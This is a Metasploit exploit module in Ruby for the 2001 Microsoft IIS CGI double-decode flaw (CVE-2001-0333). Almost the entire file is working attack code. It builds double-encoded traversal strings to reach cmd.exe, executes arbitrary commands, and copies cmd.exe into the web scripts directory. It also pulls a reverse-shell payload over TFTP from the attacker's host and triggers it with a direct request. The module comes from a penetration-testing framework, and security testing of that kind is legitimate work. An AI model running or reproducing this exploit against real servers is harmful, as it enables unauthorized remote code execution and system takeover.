## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution', 'Description' => %q{ This module will execute an arbitrary payload on a Microsoft IIS installation that is vulnerable to the CGI double-decode vulnerability of 2001. This module has been tested successfully on: Windows 2000 Professional (SP0) (EN); Windows 2000 Professional (SP1) (AR); Windows 2000 Professional (SP1) (CZ); Windows 2000 Server (SP0) (FR); Windows 2000 Server (SP1) (EN); and Windows 2000 Server (SP1) (SE). Note: This module will leave a Metasploit payload exe in the IIS scripts directory. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2001-0333' ], [ 'OSVDB', '556' ], [ 'BID', '2708' ], [ 'MSB', 'MS01-026' ], [ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Windows (Dropper)', { 'Platform' => 'win', 'Arch' => [ARCH_X86], 'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' }, 'Type' => :win_dropper } ], [ 'Windows (Command)', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' }, 'Type' => :win_command } ] ], 'CmdStagerFlavor' => 'tftp', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] }, 'DefaultTarget' => 0, 'DisclosureDate' => '2001-05-15' ) ) register_options( [ Opt::RPORT(80), OptString.new('WINDIR', [ false, 'The Windows directory name of the target host', nil ]), OptInt.new('DEPTH', [ true, 'Traversal depth to reach the drive root', 2 ]) ] ) self.needs_cleanup = true end def dotdotslash [ '..%255c', '..%%35c', '..%%35%63', '..%25%35%63', '.%252e/', '%252e./', '%%32%65./', '.%%32%65/', '.%25%32%65/', '%25%32%65./' ].sample end # Detect the correct Windows directory name. # Unfortunately, the IIS scripts directory must # be located on the same drive as %SystemRoot%. def detect_windows_directory win_dirs = %w[winnt windows] matches = [ 'Directory of', '\\inetpub\\', "\\scripts\r\n" ] win_dirs.each do |dir| res = execute_command('dir', windir: dir) next unless res next unless res.code == 200 next unless res.body matches.each do |m| return dir if res.body.to_s.include?(m) end end nil end def check win_dir = detect_windows_directory win_dir ? CheckCode::Vulnerable("Found Windows directory name: #{win_dir}") : CheckCode::Safe end def execute_command(cmd, opts = {}) # Don't run the start command... # We'll execute the payload via IIS later. # Using the "start" method doesn't seem to make IIS very happy :( return if cmd.start_with?('start') && cmd.include?('.exe') vprint_status("Executing command: #{cmd}") if opts[:cgifname] cmd_path = opts[:cgifname] else cmd_path = '' datastore['DEPTH'].times { cmd_path << dotdotslash } cmd_path << (opts[:windir] || @win_dir) cmd_path << '/system32/cmd.exe' end uri = "/scripts/#{cmd_path}?/x+/c+#{Rex::Text.uri_encode(cmd)}" send_request_cgi({ 'uri' => uri }, 20) end def copy_cmd_exe_to_scripts_directory fname = "#{rand_text_alphanumeric(4..7)}.exe" print_status("Copying \"\\#{@win_dir}\\system32\\cmd.exe\" to the IIS scripts directory as \"#{fname}\"...") res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{fname}") fail_with(Failure::Unknown, 'No reply from server') unless res fname end def exploit @win_dir = datastore['WINDIR'] || detect_windows_directory fail_with(Failure::NotVulnerable, 'Unable to detect the target host Windows directory (maybe not vulnerable)!') unless @win_dir print_status("Using Windows directory \"#{@win_dir}\"") @cmd_exe_fname = copy_cmd_exe_to_scripts_directory case target['Type'] when :win_command res = execute_command(payload.encoded, cgifname: @cmd_exe_fname) if res && res.body cmd_res = res.code == 200 ? res.body : res.body.to_s.scan(%r{
(.*?)
}m).flatten.first.to_s if cmd_res.strip.blank? print_status('Command returned no output') else print_good('Command output:') print_line(cmd_res) end else print_error('No reply') end when :win_dropper tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] execute_cmdstager( temp: '.', linemax: 1_400, cgifname: @cmd_exe_fname, tftphost: tftphost, # Force noconcat so we can skip the "start" command in execute_command method noconcat: true, # We can't delete the payload while it is running, so don't try nodelete: true ) exe_payload = stager_instance.payload_exe register_file_for_cleanup(exe_payload) print_status("Triggering payload \"#{exe_payload}\" via a direct request...") send_request_cgi({ 'uri' => "/scripts/#{exe_payload}" }, 1) end end # Remove the copied cmd.exe from the IIS scripts directory def cleanup execute_command("del #{@cmd_exe_fname}") if @cmd_exe_fname ensure super end end